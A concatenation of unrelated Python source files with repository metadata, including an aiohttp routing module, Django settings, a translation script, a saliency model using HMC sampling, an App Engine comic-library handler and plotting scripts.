af4ac2c7deffd40ac31f9a92cb37277e33f1de0a
refs/heads/master
2020-03-27T00:51:20.493394
2018-09-12T10:59:33
2018-09-12T10:59:33
145,662,544
0
0
null
null
null
null
UTF-8
Python
false
false
7,715
py
#!/usr/bin/env python3 # -*- coding:utf-8 -*- ''' __author__ = wbjxxzx ''' import asyncio import os import inspect import functools from urllib import parse from aiohttp import web from apis import APIError from mylogger import logger def get(path): """ define decorator @get('/path') """ def decorator(func): @functools.wraps(func) def wrapper(*args, **kw): return func(*args, **kw) wrapper.__method__ = 'GET' wrapper.__route__ = path return wrapper return decorator def post(path): """ define decorator @post('/path') """ def decorator(func): @functools.wraps(func) def wrapper(*args, **kw): return func(*args, **kw) wrapper.__method__ = 'POST' wrapper.__route__ = path return wrapper return decorator def get_required_kw_args(fn): ''' 将所有无默认值的命名关键字参数作为一个tuple 返回 ''' args = [] params = inspect.signature(fn).parameters for name, param in params.items(): if param.kind == inspect.Parameter.KEYWORD_ONLY and \ param.default == inspect.Parameter.empty: args.append(name) return tuple(args) def get_named_kw_args(fn): ''' 将所有的命名关键字参数作为一个tuple 返回 ''' args = [] params = inspect.signature(fn).parameters for name, param in params.items(): if param.kind == inspect.Parameter.KEYWORD_ONLY: args.append(name) return tuple(args) def has_named_kw_args(fn): ''' 检查是否有命名关键字参数 ''' params = inspect.signature(fn).parameters for name, param in params.items(): if param.kind == inspect.Parameter.KEYWORD_ONLY: return True def has_var_kw_arg(fn): ''' 检查是否有关键字参数集 ''' params = inspect.signature(fn).parameters for name, param in params.items(): if param.kind == inspect.Parameter.VAR_KEYWORD: return True def has_request_arg(fn): ''' 检查函数是否有 request 参数,若有,判断是否为最后一个参数 ''' sig = inspect.signature(fn) params = sig.parameters found = False for name, param in params.items(): if name == 'request': found = True continue # 找到 'request' 后,还出现位置参数,则抛出异常 if found and( param.kind != inspect.Parameter.VAR_POSITIONAL and param.kind != inspect.Parameter.KEYWORD_ONLY and param.kind != inspect.Parameter.VAR_KEYWORD): raise ValueError('request parameter must be the last named parameter in function: {}{}'.format( fn.__name__, str(sig) )) return found class RequestHandler(object): ''' 封闭url处理函数 ''' def __init__(self, app, fn): self._app = app self._func = fn self._has_request_arg = has_request_arg(fn) self._has_var_kw_arg = has_var_kw_arg(fn) self._has_named_kw_args = has_named_kw_args(fn) self._named_kw_args = get_named_kw_args(fn) self._required_kw_args = get_required_kw_args(fn) async def __call__(self, request): kw = None # 当传入的处理函数具有 关键字参数集 或 命名关键字参数 或 request参数 if self._has_var_kw_arg or self._has_named_kw_args or self._required_kw_args: if request.method == 'POST': if not request.content_type: return web.HTTPBadRequest('missing content-type') ct = request.content_type.lower() if ct.startswith('application/json'): params = await request.json() if not isinstance(params, dict): return web.HTTPBadRequest('JSON body must be object') kw = params elif ct.startswith(('application/x-www-form-urlencoded', 'multipart/form-data')): # 处理表单类型的数据,传入参数字典中 params = await request.post() kw = dict(**params) else: # 暂不支持处理其他正文类型的数据 return web.HTTPBadRequest('unsupported content-type: {}'.format(request.content_type)) if request.method == 'GET': qs = request.query_string if qs: # 获取URL中的请求参数,如 id=1 kw = dict() for k, v in parse.parse_qs(qs, True).items(): kw[k] = v[0] if kw is None: kw = dict(**request.match_info) else: if not self._has_var_kw_arg and self._named_kw_args: # remove all unamed kw: copy = {} for name in self._named_kw_args: if name in kw: copy[name] = kw[name] kw = copy # check named arg: for k, v in request.match_info.items(): if k in kw: logger.warning('duplicat arg name in named arg and kw args: {}'.format(k)) kw[k] = v if self._has_request_arg: kw['request'] = request # check required kw: if self._required_kw_args: # 收集无默认值的关键字参数 for name in self._required_kw_args: if not name in kw: return web.HTTPBadRequest('missing argument: {}'.format(name)) logger.warning('call with args: {}'.format(kw)) try: # 最后调用处理函数,并传入请求参数,进行请求处理 r = await self._func(**kw) return r except APIError as e: return dict(error=e.error, data=e.data, message=e.message) def add_static(app): ''' 添加静态资源路径 ''' path = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'static') app.router.add_static('/static/', path) logger.info('add static {}=>{}'.format('/static/', path)) def add_route(app, fn): ''' 注册处理函数到web服务器的路由 ''' method = getattr(fn, '__method__', None) path = getattr(fn, '__route__', None) if path is None or method is None: raise ValueError('@get or @post not defined in {}'.format(fn)) if not asyncio.iscoroutinefunction(fn) and not inspect.isgeneratorfunction(fn): fn = asyncio.coroutine(fn) logger.info('add route {} {}=>{}({})'.format(method, path, fn.__name__, ', '.join(inspect.signature(fn).parameters.keys())) ) app.router.add_route(method, path, RequestHandler(app, fn)) def add_routes(app, module_name): ''' 自动注册符合条件的函数 ''' logger.debug('add url handlers {}...'.format(module_name)) n = module_name.rfind('.') if n == -1: mod = __import__(module_name, globals(), locals()) else: # 模块名,如 os.path 中的 path name = module_name[n+1:] mod = getattr(__import__(module_name[:n], globals(), locals(), [name]), name) for attr in dir(mod): # 模块所有属性,忽略私有 if attr.startswith('_'): continue fn = getattr(mod, attr) if callable(fn): method = getattr(fn, '__method__', None) path = getattr(fn, '__route__', None) if method and path: # 已经处理过的url函数注册到web服务器 logger.debug('find handler function: {}'.format(fn)) add_route(app, fn)
[ "wbjxxzx@163.com" ]
wbjxxzx@163.com
d9574ccc9abb854423191f325895d1951e3af024
1c0b48565e0e5f8815a271b8ece4c7f0dac450b7
/problems/ps1/code/pmfig.py
1beb83f86e1792d2099b23b3b59b0a698969122f
[]
no_license
dfm/biophysics
bbe450e8290268a13200e83c456e28c8f42237a7
188de89fed355ea00ebc7004c5e1ff792bcd1d28
refs/heads/master
2023-08-30T01:50:59.960527
2014-11-03T16:09:27
2014-11-03T16:09:27
24,002,443
0
0
null
null
null
null
UTF-8
Python
false
false
1,679
py
#!/usr/bin/env python # -*- coding: utf-8 -*- from __future__ import print_function import matplotlib.pyplot as pl pl.figure(figsize=(10, 4)) bg = dict(color="b", alpha=0.5, lw=0, edgecolor="none") scat = dict(color="r", alpha=0.5, lw=0, edgecolor="none") pl.fill_between([4.333, 5, 8], [0.05, 0.6, 0], [-0.05, -0.6, 0], **scat) pl.fill_between([1, 2], [1, 1], [-1, -1], **bg) pl.fill_between([2, 3, 5], [1, 1, -0.4], [0.9, 0.9, -0.5], **bg) pl.fill_between([2, 3, 5], [-0.9, -0.9, 0.5], [-1, -1, 0.4], **bg) pl.fill_between([5, 8], [-0.4, 0], [-0.5, 0], **bg) pl.fill_between([5, 8], [0.4, 0], [0.5, 0], **bg) pl.plot([2, 2], [-0.9, 0.9], "k", lw=2) pl.plot([2, 2], [1, 1.5], "k", lw=2) pl.plot([2, 2], [-1, -1.5], "k", lw=2) pl.plot([3, 3], [-1.5, 1.5], "k", lw=2) pl.plot([4.333, 4.333], [-0.1, 0.1], "k", lw=2) pl.plot([4.333, 4.333], [-1.5, 1.5], ":k") pl.plot([5, 5], [-1.5, 1.5], "k", lw=2) pl.plot([6, 6], [-1.5, 1.5], ":k") pl.plot([6, 6], [-0.32, -0.28], "k", lw=2) pl.plot([6, 6], [0.32, 0.28], "k", lw=2) ax = pl.gca() ax.annotate("(a)", xy=(2, 1.5), xytext=(0, 10), textcoords="offset points", ha="center") ax.annotate("(b)", xy=(3, 1.5), xytext=(0, 10), textcoords="offset points", ha="center") ax.annotate("(c)", xy=(4.33, 1.5), xytext=(0, 10), textcoords="offset points", ha="center") ax.annotate("(d)", xy=(5, 1.5), xytext=(0, 10), textcoords="offset points", ha="center") ax.annotate("(e)", xy=(6, 1.5), xytext=(0, 10), textcoords="offset points", ha="center") pl.ylim(-1.5, 2) pl.axis("off") pl.gcf().subplots_adjust(left=0, right=1, bottom=0, top=1) pl.savefig("../phase_micro.pdf")
[ "danfm@nyu.edu" ]
danfm@nyu.edu
2f3e2bb3b574fb3c194fea01a846219c31977b6d
94a71148eab47c3a1ec544908e7e6b412566df68
/vouchers/admin.py
8bf8a0dc7e17ddda25d0431f17922ba9a813ee90
[]
no_license
hawkson-lemuel/shuttleapi
6d01a11d6a0dbdb12b7c49861aa48a5d89151c07
d55922f3cdb2d4346c5ba63465d2870308646942
refs/heads/master
2021-06-16T03:49:00.764031
2017-05-18T12:01:05
2017-05-18T12:01:05
null
0
0
null
null
null
null
UTF-8
Python
false
false
90
py
from django.contrib import admin from .models import Voucher admin.site.register(Voucher)
[ "digiwebguy@gmail.com" ]
digiwebguy@gmail.com
5789908bf068c65a3e6da973128bbb0c6705d196
cdd90e6d02b93b7ee73feadc99625440b64853d4
/tallerAjax/tallerAjax/wsgi.py
ed97529410f17c96544e40b26656c1736f6a5d75
[]
no_license
alvaromartinez986/tallerAjax
f8f741ffde4c2d2e4b68dccb73528c993a894681
e62c73c5ecc15b878458f54c4f62a5741bb96e62
refs/heads/master
2021-05-30T07:27:53.940582
2015-09-18T06:22:23
2015-09-18T06:22:23
null
0
0
null
null
null
null
UTF-8
Python
false
false
395
py
""" WSGI config for tallerAjax project. It exposes the WSGI callable as a module-level variable named ``application``. For more information on this file, see https://docs.djangoproject.com/en/1.7/howto/deployment/wsgi/ """ import os os.environ.setdefault("DJANGO_SETTINGS_MODULE", "tallerAjax.settings") from django.core.wsgi import get_wsgi_application application = get_wsgi_application()
[ "martinez.alvaro@correounivalle.edu.co" ]
martinez.alvaro@correounivalle.edu.co
a5e8d26bef7222b0c8b18c4ab01d38a4f6dd7c5c
c3592ad2229ef0b99b611765339ae86221931804
/DAY1/translation_word.py
1e5bb18823224b38a75207f8df8bc747690dba45
[]
no_license
asd307769162/Python-Learning
5073eb71977418e317bc6467295be775eea28708
2be768ec8fddb594edcd386e22201ae18aa1928f
refs/heads/master
2021-05-18T16:41:11.114222
2018-04-14T03:24:51
2018-04-14T03:24:51
null
0
0
null
null
null
null
UTF-8
Python
false
false
537
py
import urllib.request import urllib.parse import json translation=input('请输入要翻译的内容:') url= 'http://fy.iciba.com/ajax.php?a=fy' data={} data['f']='auto' data['t']='auto' data['w']=translation data=urllib.parse.urlencode(data).encode('utf-8') response =urllib.request.urlopen(url,data) html=response.read().decode('utf-8') json.loads(html) target=json.loads(html) answer=target['content']['word_mean'] print('原文:'+translation) n=len(answer) i=0 while i<n: print('结果:'+answer[i]) i=i+1
[ "admin@busby.com.cn" ]
admin@busby.com.cn
c05db998bdb2296022feab4c528a8fe046e2d833
b365e0a65ce204708b52959f08da0ae7605e69c2
/python/modules/kivydd/app/CAppThread.py
ede2bbfdf9ee5dbb311218d6648158e7f5179c71
[ "MIT" ]
permissive
darwinbeing/deepdriving-tensorflow
af500f2caf6ffb9cc1f019fbdb79878e6a468a96
036a83871f3515b2c041bc3cd5e845f6d8f7b3b7
refs/heads/master
2021-06-26T15:41:18.031684
2017-08-23T13:11:37
2017-08-23T13:11:37
103,213,437
1
0
null
null
null
null
UTF-8
Python
false
false
2,751
py
# The MIT license: # # Copyright 2017 Andre Netzeband # # Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated # documentation files (the "Software"), to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and # to permit persons to whom the Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all copies or substantial portions of # the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO # THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, # TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # # Note: The DeepDriving project on this repository is derived from the DeepDriving project devloped by the princeton # university (http://deepdriving.cs.princeton.edu/). The above license only applies to the parts of the code, which # were not a derivative of the original DeepDriving project. For the derived parts, the original license and # copyright is still valid. Keep this in mind, when using code from this project. import kivy from kivy.app import App from kivy.uix.widget import Widget from .main_app import MainApp import threading class CAppThread(): _Name = "main" _Memory = None _App = None _Thread = None _IsExist = False def __init__(self, Name): self._Name = Name def run(self, MainWindow): kivy.require('1.10.0') self._Memory = self.initMemory() self._App = MainApp(MainWindow, self._Memory, self) self._App.title = self._Name self.initApp(self._Memory, self._App) self._Thread = threading.Thread(target=self._mainLoop) self._IsExit = False self._Thread.start() self._App.run() self._IsExit = True self._Thread.join() self._Thread = None self._cleanUp(self._Memory, self._App) self._Memory = None self._App.deleteAll() self._App = None def _mainLoop(self): while self._IsExit == False: if self.doLoop(self._Memory, self._App) == False: break def initMemory(self): return None def initApp(self, Memory, App): pass def doLoop(self, Memory, App): return True def _cleanUp(self, Memory, App): pass
[ "andre.netzeband@hm.edu" ]
andre.netzeband@hm.edu
e72d43a85c51a829ebef00ad4403ee76822eabb5
9fa429bcb1750317b962c1c0ed8d0be689ed1137
/gitview/gitview/gitview/product_settings.py
13783213241fec5109d7ff7e59c2a55fd517e21c
[]
no_license
dfguan/gitview
4f870d9977133a4a70e11438a58cc8edd62f1b41
1594f29fd52d43d6483da5b8f023f934369b45f4
refs/heads/master
2021-05-27T03:36:20.768224
2014-02-25T03:04:07
2014-02-25T03:04:07
null
0
0
null
null
null
null
UTF-8
Python
false
false
807
py
import os from gitview.settings import * DEBUG = False TEMPLATE_DEBUG = DEBUG DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'gitview', 'USER': 'root', 'PASSWORD': '', 'HOST': '', 'PORT': '', } } # Following settings must be changed for server environment PROJECT_DATA_ROOT = '/usr/share/gitview' TEMPLATE_DIRS = ( os.path.join(PROJECT_DATA_ROOT, 'templates'), ) # Path to static files, that should be /usr/share/gitview/media STATIC_ROOT = os.path.join(PROJECT_DATA_ROOT, 'static') GITVIEW_DATA_ROOT = '/var/gitview' # Path to store PDF report files PDF_REPORTFILES = os.path.join(GITVIEW_DATA_ROOT, 'pdfs') # Viewapp will clone projects to this path PROJECT_DIR = os.path.join(GITVIEW_DATA_ROOT, 'projects')
[ "zyang@redhat.com" ]
zyang@redhat.com
7b06a1a4ee0ccd926b9d516d17e90b5f44961331
7f4b902c164249f231acc53320b5cce6650abaed
/tests/helpers.py
a09a6ff493cc2a48076566955c7dae8879b9eaed
[ "MIT" ]
permissive
flacerdk/smoke-signal
2322ce0b59278004c8665d6754e0317b6b58ed82
f6cf85dba87348f97d94e3e464e1eb552c1ea72e
refs/heads/master
2020-04-05T23:03:30.229076
2017-02-25T11:20:50
2017-02-25T11:20:50
32,870,595
0
0
null
null
null
null
UTF-8
Python
false
false
1,648
py
import codecs import json from urllib.parse import urlparse from utils.generate_feed import SampleFeed def get_json(response): return json.loads(codecs.decode(response.get_data(), "utf-8")) def create_mock_rss(title, feed_path, num_entries): feed = SampleFeed(title, num_entries) feed.write_to_file(feed_path) return feed_path def add_feed(app, url): data = json.dumps({"url": url}) return app.post("/api/feed", data=data, content_type="application/json") def add_mock_feed(test_app, title, feed_path, num_entries): feed_path = create_mock_rss(title, feed_path, num_entries) resp = add_feed(test_app, "file://" + feed_path) return get_json(resp) def add_entries(feed, num_entries): title = feed["title"] feed_path = urlparse(feed["url"]).path new_feed = SampleFeed(title, num_entries) new_feed.write_to_file(feed_path) def refresh_feed(app, feed, num_entries): add_entries(feed, num_entries) return app.post("/api/feed/{}".format(feed["id"])) def get_entries_response(app, feed): app.post("/api/feed/{}".format(feed["id"])) return app.get("/api/feed/{}".format(feed["id"])) def change_first_entry(app, feed, data): parsed_json = get_json(get_entries_response(app, feed)) entry_list = parsed_json["_embedded"]["entries"] entry = entry_list[0] return get_json( change_entry_status(app, entry, data))["_embedded"]["entry"] def change_entry_status(app, entry, data): resp = app.post( "/api/entry/{}".format(entry["id"]), data=json.dumps(data), content_type="application/json") return resp
[ "fegolac@gmail.com" ]
fegolac@gmail.com
cb883f0edecad79859e6b0bf8405b1f641e8f013
049500afdada566385fc4d80f3040a5b22b3f753
/Beatles.py
14c7f75af67fc2b1ab1808ade94d7a69e9eaa010
[]
no_license
wyattm14/Song-Lyric-Generation
7db29b7ea4e2a52539fe1ba65baa66b2a64b08f6
4eaa297e9d4545cda946d2a9d4402256d8deb005
refs/heads/master
2022-04-21T19:12:04.063364
2020-04-26T00:32:52
2020-04-26T00:32:52
258,903,288
0
0
null
null
null
null
UTF-8
Python
false
false
343
py
with open("test.txt", "r") as file: lines = file.read().splitlines() uniques = set() for line in lines: line.lower() uniques |= set(line.split()) # print(f"Unique words: {len(uniques)}") # print(uniques) print(lines.count()) list = [] for w in uniques: print(w) list.append(w)
[ "wyattmiller@Wyatts-MBP.hsd1.co.comcast.net" ]
wyattmiller@Wyatts-MBP.hsd1.co.comcast.net
9e2a5e831ec60facce6748b8c74c0304230be665
a5d211cc00e481482c2f7185e4bbb081c53f1be2
/src/LocalSaliencyModel/model.py
9326f9a0b58e0a88e54cd8106c2c338a8e67fda8
[ "MIT" ]
permissive
noashin/local_global_attention_model
ca51b7a2fb71e3a4c61b429aa82cee3f4413793b
531e6a4cc1dc364a6a4168de1b9f972727a8aeb1
refs/heads/master
2022-12-05T23:15:43.564526
2020-08-26T14:56:27
2020-08-26T14:56:27
290,518,017
0
0
null
null
null
null
UTF-8
Python
false
false
5,510
py
import sys import pickle import numpy as np sys.path.append('./../') sys.path.append('./../../') from src.LocalGlobalAttentionModel.model import Model as parent_model from .vel_param import VelParam as vel_param from src.HMC.hmc import HMC class Model(parent_model): """ This class describes a model where fixations are chosen from the static saliency convolved with a Gaussian. p(z_t|z_{t-1}) = s(t) * n(z_t|z_{t-1}, xi) """ def __init__(self, saliencies, xi): super().__init__(saliencies) self.xi = xi self.gammas = None def get_next_fix(self, im_ind, sub_ind, prev_fix, cur_fix, s_t): """ This method samples the next fixation given the current fixation from p(z_t|z_{t-1}) = s(t) * n(z_t|z_{t-1}, xi). It includes :param im_ind: index of the current image :param sub_ind: :param prev_fix: :param cur_fix: coordinates of the current fixation :param s_t: :return: [z_x, z_y] coordinates of the next fixation location. """ xi_val = self.xi.value mean = cur_fix rad_rows = (self.rows_grid - mean[0]) ** 2 rad_cols = (self.cols_grid - mean[1]) ** 2 # normal distribution over the entire image gauss = np.exp(- rad_rows / (2 * xi_val[0]) - rad_cols / (2 * xi_val[1])) / \ (2 * np.pi * np.sqrt(xi_val[0] * xi_val[1])) prob = gauss * self.saliencies[im_ind] prob /= prob.sum() # chose a pixel in the image from the distribution defined above inds = np.random.choice(range(self.pixels_num), 1, p=prob.flatten()) # choice uses the inverse transform method in 1d next_fix = np.unravel_index(inds, self.saliencies[im_ind].shape) next_fix = np.array([next_fix[0][0], next_fix[1][0]]) return next_fix, 0 def generate_gammas(self): """ In this model gamma = 1 for each data point. """ self.gammas = [] for i in range(len(self.fix_dists_2)): self.gammas.append([]) for s in range(len(self.fix_dists_2[i])): self.gammas[-1].append(np.zeros(self.fix_dists_2[i][s].shape[1])) def sample(self, num_samples, save_steps, file_path): """ This methods generates samples from the posterior distribution of xi. Since there is no explicit form for the posterior distribution of xi an HMC sampler is used. See paper for further information. :param num_samples: number of sampled to be generated. :param save_steps: whether to save the chain :param file_path: path where to save the chain :return: list of length num_samples with samples of xi """ if not self.gammas: self.generate_gammas() vel = vel_param([0.1, 0.1]) delta = 1.5 n = 10 m = num_samples # initiate an HMC instance hmc = HMC(self.xi, vel, delta, n, m) gammas_xi = [[self.gammas[i][s].copy() - 1] for i in range(len(self.gammas)) for s in range(len(self.gammas[i]))] # perform the sampling hmc.HMC(gammas_xi, self.saliencies, self.fix_dists_2, self.dist_mat_per_fix) samples_xi = hmc.get_samples() if save_steps: with open(file_path, 'wb') as f: pickle.dump([samples_xi], f) return samples_xi def calc_prob_local(self, *args): """ This method calculates the probability of a local step which is always 0 in the case of this model. :return: 0 """ return 0 def calc_prob_global(self, im_ind, fixs_dists_2, sal_ts, fixs, for_nss=False): """ This method calculates the probability of a global step according to the local saliency model, for an entire scanpath. p(z_t|z_{t-1}) = s(z_t) * n(z_t|z_{t-1}, xi) :param im_ind: index of the image :param fixs_dists_2: an array of shape 3 x (T -1). see set_fix_dist_2 for description. :param sal_ts: time series of the saliency value for each fixation. Array of length T. :param fixs: fixation locations. Array of shape 2 x T :param for_nss: whether to standerize the density for NSS or not. :return: array of length T with the probability of each fixation """ xi = self.xi.value radx = (self.rows_grid[:, :, np.newaxis] - fixs[im_ind][0][0, :-1]) ** 2 rady = (self.cols_grid[:, :, np.newaxis] - fixs[im_ind][0][1, :-1]) ** 2 gauss = np.exp(- radx / (2 * xi[0]) - rady / (2 * xi[1])) / (2 * np.pi * np.sqrt(xi[0] * xi[1])) prob_all_pixels = gauss * self.saliencies[im_ind][:, :, np.newaxis] if for_nss: prob_global = prob_all_pixels / prob_all_pixels.sum(axis=(0, 1)) else: # we assume here just one subject sub = 0 X = fixs_dists_2[im_ind][sub] nominator_gauss = np.exp(- 0.5 * X[0] / xi[0] - 0.5 * X[1] / xi[1]) / \ (2 * np.pi * np.sqrt(xi[0] * xi[1])) nominator = nominator_gauss * sal_ts[im_ind][0][1:] prob_global = nominator / prob_all_pixels.sum(axis=(0, 1)) return prob_global def calc_ros(self, *args): """ This methods calculates the probability of a local step. In this model it is always 0. :return: 0 """ return 0
[ "noa.shinitski@gmail.com" ]
noa.shinitski@gmail.com
6536b5bcc05825f3f3292d35495e36d9918b7ebb
f1c840c4f3bdb0fc5d97eba16f6718c1bca2ae50
/handlers/library/read_unread.py
c420dec74e27dd714ce31c620d05c037c9c7186c
[]
no_license
dpvazquez20/ComicLib
01be35bb674f37240d131d912c2239fcafd17f6c
b7dfbd6d2c05b251e6bf08f7c93d691fa263eda9
refs/heads/master
2020-06-10T00:24:55.579127
2019-06-27T14:33:10
2019-06-27T14:33:10
193,528,678
0
0
null
null
null
null
UTF-8
Python
false
false
11,094
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import webapp2 import time import copy from webapp2_extras import jinja2 from google.appengine.ext import ndb from handlers.elements.sessions import BaseHandler from handlers.lang.spa import lang as spa from handlers.lang.eng import lang as eng from models.db import User, ComicBook, Author, Shelving """ Modify handler in the library home page Get: redirect to the library home page Post: it's responsible for modifying the comic data in the database""" class ReadUnreadLibraryHandler(BaseHandler): # Redirect to the library home page def get(self): self.redirect("/library") # Modify a comic def post(self): jinja = jinja2.get_jinja2(app=self.app) # Check if the client is logged in if self.session.get('session_role') == 'client': # If it's logged in, get the session variables, show the home page # Get the comic attributes state = self.request.get("state", "") # Comic read or unread state = state.decode("utf8") key = self.request.get("comic_key", "") key = ndb.Key(urlsafe=key) comic = key.get() # Get the comic with that key keys_page_list = self.request.get("keys_page_list", "") # Comic keys (only comics in the current page) aux_all_keys = self.request.get("all_keys", "") # All the comic keys (for the order field) # Initialize variables aux = list() # Support variable aux3 = list() # Support variable all_comics = list() # All comics (for the user search field) shelving_name = list() # Shelving name # Get the shelvings shelvings = Shelving.query(Shelving.username == self.session.get('session_name')).order(Shelving.name).fetch() # Transform the HTML string in a list all_keys = copy.copy(aux_all_keys) aux_all_keys = self.transform_keys(aux_all_keys) # Get all comics that belongs to the current user if not self.session.get("shelving"): comics = ComicBook.query(ComicBook.users.username == self.session.get('session_name')).order(ComicBook.users.addition_date) # All comics ordered by the addition date all_comics_user = copy.copy(comics) # ALL comics (for the search field) all_comics_user = all_comics_user.fetch() else: key = ndb.Key(urlsafe=self.session.get("shelving")) comics = ComicBook.query(ComicBook.users.username == self.session.get('session_name'), ComicBook.users.shelving == key).order(ComicBook.users.addition_date) # Comics in the shelving ordered by the addition date shelving = key.get() shelving_name = shelving.name del shelving all_comics_user = ComicBook.query(ComicBook.users.username == self.session.get('session_name')).fetch() # ALL comics (for the search field) for comic2 in comics: # Get ALL the keys aux.append(comic2.key.urlsafe()) del comic2 for key3 in aux_all_keys: # Compare the "list" given by HTML with aux for making the new all keys list (all_keys) for key2 in aux: if key3 == str(key2): key2 = ndb.Key(urlsafe=key2) aux3.append(key2) break del key2 del key3 # Get all db comics offset = (self.session.get('current_number_page') - 1) * self.session.get('num_elems_page') comics = ComicBook.query(ComicBook.key.IN(aux3)).fetch(self.session.get('num_elems_page'), offset=offset) # Get the comics (if --> default, else --> see shelving) if not self.session.get('shelving'): comics = self.get_comics_read_and_without_shelving(comics) # Get read comics and the ones that aren't in a shelving else: self.get_comics_read(comics) # Get read comics # Set the default language of the app if self.session['session_idiom'] == "spa": lang = spa # Spanish strings elif self.session['session_idiom'] == "eng": lang = eng # English strings else: lang = eng # Default english # Variables to be sent to the HTML page values = { "lang": lang, # Language strings "session_name": self.session.get('session_name'), # User name "session_role": self.session.get('session_role'), # User role "session_picture": self.get_session_image(self.session.get('session_name')), # User picture "session_genre": self.session.get('session_genre'), # User genre "comics": comics, # Comics "current_number_page": self.session.get('current_number_page'), # Current number page "pages": self.session.get('pages'), # Pages for the pagination "last_page": self.session.get('last_page'), # Last page number "keys_page_list": keys_page_list, # Comics keys that are currently in the page "all_keys": all_keys, # All comic keys "all_comics_user": all_comics_user, # All user comic (for the search field) "all_comics": all_comics, # ALL comics (for the user search field) "shelvings": shelvings, # All user shelvings "shelving_name": shelving_name # Shelving name } # If the key is from an comic if comic and comic is not None and (state == "read" or state == "unread"): # Modify the comic state for user_comic in comic.users: if user_comic.username == self.session.get("session_name"): user_comic.state = state aux2 = comic.put() time.sleep(1) # If the modification was successful if aux2 is not None: # Variables to be sent to the HTML page values["ok_message"] = lang["comic_modified_successfully"] # Ok message (Comic modified successfully) # Get all db Comics (Limited to the number given by the session variable [10 by default]) comics = ComicBook.query(ComicBook.key.IN(aux3)).fetch(self.session.get('num_elems_page'), offset=offset) # Get the comics (if --> default, else --> see shelving) if not self.session.get('shelving'): comics = self.get_comics_read_and_without_shelving(comics) # Get read comics and the ones that aren't in a shelving else: self.get_comics_read(comics) # Get read comics values["comics"] = comics # Else show an error message else: # Variables to be sent to the HTML page values["error_message"] = lang["error_modify"] # Error message (The modification couldn't be done) del aux2 # Delete variables to free memory # Else show an error message else: # Values to be sent to the HTML page values["error_message"] = lang["comic_not_modified"] # Error message (Comic couldn't be modified) all_comics_user = ComicBook.query(ComicBook.users.username == self.session.get('session_name')).fetch() values["all_comics_user"] = all_comics_user all_comics = ComicBook.query().fetch() del lang, key, comic, keys_page_list, aux_all_keys, aux, aux3, \ all_comics_user, offset, all_keys, all_comics, shelving_name # Delete variables to free memory self.session_store.save_sessions(self.response) # Save sessions self.response.write(jinja.render_template("/library/default.html", **values)) # Go to the library home page # If it isn't logged in, redirect to the login page else: self.redirect("/login") # Transform the HTML string in a list def transform_keys(self, keys): keys = keys.replace("[", "") keys = keys.replace("]", "") keys = keys.replace("'", "") keys = keys.replace('"', '') keys = keys.split(", ") return keys # Get the session user image def get_session_image(self, name): user = User.query(User.name == name).fetch() return user[0].picture # Get all authors for the add author def get_authors(self): authors = Author.query().fetch() return authors # Get the read comics and the ones that aren't in a shelving def get_comics_read_and_without_shelving(self, comics): if len(comics) > 0: aux = list() for i in range(0, len(comics)): for user_comic in comics[i].users: if user_comic.username == self.session.get('session_name'): if user_comic.state == "read": comics[i].is_read = True else: comics[i].is_read = False if user_comic.shelving is None: aux.append(comics[i]) del user_comic del i return aux # Get the read comics def get_comics_read(self, comics): if len(comics) > 0: for i in range(0, len(comics)): for user_comic in comics[i].users: if user_comic.username == self.session.get('session_name'): if user_comic.state == "read": comics[i].is_read = True else: comics[i].is_read = False del user_comic del i app = webapp2.WSGIApplication([], debug=True)
[ "noreply@github.com" ]
dpvazquez20.noreply@github.com
8640d72e0036ff5b463c83ed75490757728cf6e7
243770b01999a2d2854207da6032c9ea420a8e20
/moldyn/dumpPlotProjections.py
472c6ed174b9523933b201ce347e106677bb071f
[]
no_license
acadien/matcalc
54a9b9d5a944f9b4a27f3e0dc905c40391da9c07
037d7080c07856877d7a3f5f9dcbb2dec5f38dd1
refs/heads/master
2016-09-11T08:28:07.310789
2015-05-19T18:14:56
2015-05-19T18:14:56
3,674,764
8
1
null
null
null
null
UTF-8
Python
false
false
1,992
py
#!/usr/bin/python import plotRemote as pr #mine import sys import pylab as pl def usage(): print "%s <dump file with atomic coordinates>"%sys.argv[0].split("/")[-1] if len(sys.argv)!=2: usage() exit(0) #Prepare data fname=sys.argv[1] fraw = open(fname,"r").readlines() #Prepare plotting mxc=20 iline=0 natoms=0 c=0 while True: cfgFound=False info="Configuration Number %d\n"%c for i,line in enumerate(fraw[iline:]): if "ITEM: TIMESTEP" in line: info+="Timestep = %d\n"%int(fraw[iline+i+1]) if "ITEM: NUMBER OF ATOMS" in line: natoms=int(fraw[iline+i+1]) info+="N-Atoms = %d\n"%natoms if "ITEM: ATOMS" in line: cfgFound=True iline+=i+1 break #no more configurations, stop plotting yo if not cfgFound: break c+=1 #Parsing function for parsing atomic coordinates and types parse=lambda x:[int(x[0]),float(x[1])/mxc,float(x[2]),float(x[3]),float(x[4])] #Apply the parse on the portion of the datafile containing coordinates number,colors,xs,ys,zs = \ zip(*[parse(line.split()) for line in fraw[iline:iline+natoms]]) iline+=natoms cmn=min(colors) cmx=max(colors) xmn,xmx=min(xs),max(xs) ymn,ymx=min(ys),max(ys) zmn,zmx=min(zs),max(zs) pl.subplot(221) pl.scatter(xs,ys,c=colors,vmin=cmn,vmax=cmx,marker='+',faceted=False) pl.xlim(xmn,xmx) pl.ylim(ymn,ymx) pl.title("Z") pl.subplot(222) pl.scatter(xs,zs,c=colors,vmin=cmn,vmax=cmx,marker='+',faceted=False) pl.title("Y") pl.xlim(xmn,xmx) pl.ylim(zmn,zmx) pl.subplot(223) pl.scatter(ys,zs,c=colors,vmin=cmn,vmax=cmx,marker='+',faceted=False) pl.title("X") 